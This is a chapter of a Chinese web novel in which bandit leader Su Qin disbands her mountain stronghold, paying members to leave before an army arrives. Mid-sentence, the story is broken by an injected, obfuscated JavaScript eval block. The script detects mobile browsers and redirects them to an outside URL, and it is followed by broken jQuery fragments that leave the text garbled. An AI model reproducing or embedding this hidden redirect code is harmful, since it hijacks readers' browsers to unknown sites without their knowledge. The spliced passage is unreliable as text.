消息一出，寨子立刻像被炸了锅一般，所有人纷纷议论不停。


    “朝廷的北骑营？”


    “我们不是每年都给官府送着孝敬么？他们怎么还要来打我们？”


    “是啊，大当家，这官府拿钱不办事儿！”


    众人七嘴八舌的发表着自己的意见，一时间，整个前院像炸开了锅。


    角落里，林照一个人静静的站着，他的位置相当隐秘，正好处于他可以看见苏秦，但苏秦看不到他的地方。听到众人说官府每年收着他们的孝敬，林照微不可察的挑了挑左边的眉毛。


    “安静！”苏秦高声呼喊。


    听到大当家的声音，众人不再讨论都认真看向她，苏秦看着这些目光里有的愤怒，有的害怕，有的就像一汪死水般平静，她眨眨眼不再看他们的眼神，直接说出自己的打算。


    “北骑营是官家的，州府也奈何不了他们，所以这南下剿匪一事我们是躲不开了！我知道云鹿山寨对大家意义非凡，但是民不与官斗，现下正牌军队就要来了，为了大家好，为了大家都能平安，我准备解散云鹿山寨！”


    一语惊起千层浪。


    片刻的鸦雀无声后，是炸了马蜂窝般的嗡嗡议论。


    “不行呀，大当家，寨子解散了，我们也没有地方去啊。”


    “是啊，这突然的要我们去哪里？”


    “大当家你不能这样，既然带回我们就要为我们负责，怎可说散就散？”


    “欸？你怎么说话呢？”


    “怎么了？难道不是么？当初我求她了么？她要打抱不平帮我，现在说散就散？”


    “你！要不是大当家，赵老五，你早就被那两个劫匪连抢带杀了，还有今日？你多活一天都是赚的！”


    “大当家我们孤儿寡母的离开寨子要怎么活呀？不如你现在就杀了我们，给我们一个痛快。”


    “你们这些人！我反正永远跟着大当家，我不走！大当家你去哪儿我张同就去哪儿，寨子散了我也跟着你！”


    “对！我也是！”


    “我也是！”


    苏秦看着眼前的喧闹，心里好似被强行分成左右两个阵营，这两个阵营你来我往的争抢地盘。


    一方说：看，苏倾酒，这就是你让我帮你好好照顾的寨子，看到了么，人性就是如此经不起考验，看到他们的真心话了么？你庇护的这些人对你的付出视作应当，甚至道德绑架你、逼迫你，他们值得被照顾吗？值得你的真心么？


    另一方说：可是你看，也有人愿意无条件的跟随你，不求任何，只是认你这个人。


    一方又说：那又如何，且不知是不是没有选择的机会，反正去哪儿都一样，只是想做老虎身上的虱子。


    另一方反驳：徐家婶子的病号餐、日以继夜的照顾，张婶的那件你一直舍不得穿的衣裙，练基本功那段时间每天桌子上多出来的来自不同手艺的鞋垫，徐家兄弟的赤诚，那些悄悄的投喂，……等等这些你都不记得了么？


    苏秦突然一阵心慌心烦。


    我且给他们一次选择的机会。


    “大洪子，让大家别争了。”苏秦不想喊了，她转头吩咐李大洪。


    李大洪闻言冲向院子里群情激动的众人喊道：“吵吵啥！听大当家说完你们再吵吵！谁再吵吵我先下去揍谁！”


    他早气的不行了，就想冲进人群把那几个胡言乱语的揪出来揍一顿，女人老弱他下不去手，但是揍那几个男的他还是没有心理负担的。


    李大洪一嗓子下去，院子里果然安静了下来。


    “不是就这么解散，让大家就这么分开，库房里有本打算这一季度拿给官府的银子，我把它均分给大家，按人头分，不论老人小孩，亦或一家几口人，都是按人头均分给大家，大家可以拿着这笔钱寻一个村镇，在那里开荒落籍，亦或去县城盘一个铺子做些小本生意，”苏秦间隙给陈留良安排活计：“阿良，你算一下大概每人现在能分多少银子？”


    “只一事，拿了钱的人需要立时离开这里，不能再反悔，我给大家一柱香的时间思考做选择，愿意拿钱走人的站到左边这一侧，不想走的走去右边。”


    人群很安静很安静，有的人的脸上开始出现挣扎纠结之色，有机会回归良籍，这个诱惑是非常大的，之前不愿意走，是因为身上根本就没有足够支撑离开的银钱，可是现在大当家说愿意给他们分银子，这样的机会很难让他们放弃。


    但是也有的人却已经义无反顾的走向右侧。这些人里就包含徐婶子和她的两个儿子徐冲徐信、张元香、刚刚那个第一个阻止她的柴房的汉子。


    苏秦看着这样的场景，心里却很平静，好像对于人性的失望早已使她看淡一切。该留的人自会留下，要走的人也强求不了，就像前世，即使是至亲亲人，也会为了自己的希望对她的痛苦视若不见，那些留下的人却又像礼物，只存在于意外。


    “阿良，算好每人可以分得多少钱了么？”苏秦终于出声问陈留良。


    “算好了，大当家，一百五十两。”陈留恢复了他一惯郁郁的神情。


    “嘶——”有人倒抽一口气。


    一百两可是很多了，那在大户人家做丫鬟的一个月也才一两银子，高等的下人也不过五两银子，这一百五十两还是按人头给，若是那拖家带口的，一家三四口人的，可是四五百两银子，如何让人不心动？


    当下，那原本在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935513|177175||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    观望的人不少向左边走去，其中不少是一家子几口人的。


    “还有半柱香的时间。”苏秦提醒着还在纠结考量的人。


    很快，纠结的人也做出了选择，大部分往左边而去，那往左边走的还有刚刚声称自己绝不离开的名叫张同的男子，也有个别人在慎重思考后还是选择了右边。


    两边人就这么来来回回交换，待一柱香时间到，所有人的选择已然做好。


    站在左边的有三分之二多的人，远比右边的多很多，大致一扫，愿意留下来的，选择了右边的大概有不到二十人，这其中有个身影让苏秦不经有些意外，是林照那小子，他竟然选择了右边。


    “阿良，你给大家算一下，去和大洪子把需要分出来的银子搬过来，”苏秦说着，又看向左边的众人：“大家既然已经做好选择，那么就回去收拾一下各自的行李吧，带走你们的东西，寨子里的东西你们不可以带走，半个时辰后我们在这里分银子，大家直接拿着银子走就行了。”


    苏秦有些自嘲，苏倾酒，你看，你辛辛苦苦付出那么多，又是受伤又是背负山匪恶名又是和一洲知州做交易藏秘密，可是愿意留下和你共同面对危机的人又有多少呢？你的寨子，对你真心的人我会尽我所能把他们照顾好，那些不值得的人，我也给了他们一条生路，这离开山寨立刻就可以奔小康了，这样会算计个人利弊的人你也不必担心他们离开寨子后会过得不好。


    人群纷纷散去，站在右边的人们有些不知所措的站在原地。


    苏秦看向他们，温和的说：“大家先回去休息吧，晚些我们再议。”


    徐信朝着徐冲挤眉弄眼，小声嘀咕：“哥，你说那林照我们还要跟着么？”


    “大当家没说不跟了，就继续跟着。”徐冲低声说。


    “可是他选了右边。”徐信看一眼林照，显是把他当自己人的意思了。


    “选了右边又如何？就能代表他没问题么？”徐冲恨铁不成钢：“你这个心思，别人分分钟就把你骗走了，你还给人牵马伺候呢。”


    “切！”徐信懒得再和徐冲多说，他觉得此刻这林照愿意留下，那就是讲义气，够义气，这个朋友，他交定了。而且这么多天的跟踪下来，人家林照挺规矩的，每天不是在自己的房间，就是出门帮大家提水砍柴，那天想帮大当家打扫屋子，冯老没让，人就一直没再靠近过大当家那个二层小楼。


    苏秦有些累的回了议事厅，坐到冯冠清旁边的太师椅上。


    冯冠清自始至终都坐在这里，没有起身，亦没有掺和苏秦的谋划。


    “老冯，你可是觉得有何不妥？”苏秦突然问道，毕竟作为原身的师父，最了解原身的应该也是他了。